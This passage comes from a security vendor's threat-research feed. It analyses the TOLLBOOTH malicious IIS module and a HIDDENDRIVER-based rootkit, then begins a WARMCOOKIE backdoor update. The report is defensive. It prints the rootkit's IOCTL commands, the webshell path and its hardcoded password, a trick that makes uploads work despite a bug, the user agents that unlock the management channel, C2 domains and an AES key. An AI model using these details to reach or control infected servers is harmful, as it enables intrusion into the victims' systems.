<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/jp/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[WARMCOOKIE One Year Later: New Features and Fresh Insights]]></title>
            <link>https://www.elastic.co/jp/security-labs/revisiting-warmcookie</link>
            <guid>revisiting-warmcookie</guid>
            <pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[A year later: Elastic Security Labs re-examines the WARMCOOKIE backdoor.]]></description>
            <content:encoded><![CDATA[<h2>Revisiting WARMCOOKIE</h2>
<p>Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original <a href="https://www.elastic.co/jp/security-labs/dipping-into-danger">post</a>, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent <a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">finding</a> by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.</p>
<p>In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.</p>
<h2>Key takeaways</h2>
<ul>
<li>The WARMCOOKIE backdoor is actively developed and distributed</li>
<li>Campaign ID, a recently added marker, sheds light on targeting specific services and platforms</li>
<li>WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality</li>
<li>Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers</li>
</ul>
<h2>WARMCOOKIE recap</h2>
<p>We first <a href="https://www.elastic.co/jp/security-labs/dipping-into-danger">published</a> research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.</p>
<p>WARMCOOKIE’s significance was highlighted in May 2025, during <a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">Europol’s Operation Endgame</a>, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.</p>
<h2>WARMCOOKIE updates</h2>
<h3>Handlers</h3>
<p>During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:</p>
<ul>
<li>PE file execution</li>
<li>DLL execution</li>
<li>PowerShell script execution</li>
<li>DLL execution with <code>Start</code> export</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image10.png" alt="Switch statement inside command handler" /></p>
